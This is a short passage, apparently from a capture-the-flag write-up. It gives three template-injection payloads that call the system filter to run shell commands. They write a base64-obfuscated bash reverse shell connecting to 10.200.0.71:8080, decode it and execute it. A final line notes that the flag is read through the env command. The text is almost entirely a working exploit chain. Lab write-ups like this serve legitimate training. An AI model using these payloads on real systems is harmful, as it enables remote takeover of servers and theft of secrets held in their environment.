{{['echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMDAuMC43MS84MDgwIDA+JjEnCg== > /tmp/r.sh']|filter('system')}}
{{['base64 -d /tmp/r.sh > /tmp/s.sh']|filter('system')}}
{{['bash /tmp/s.sh']|filter('system')}}
Same as above, the flag can be obtained via the env command.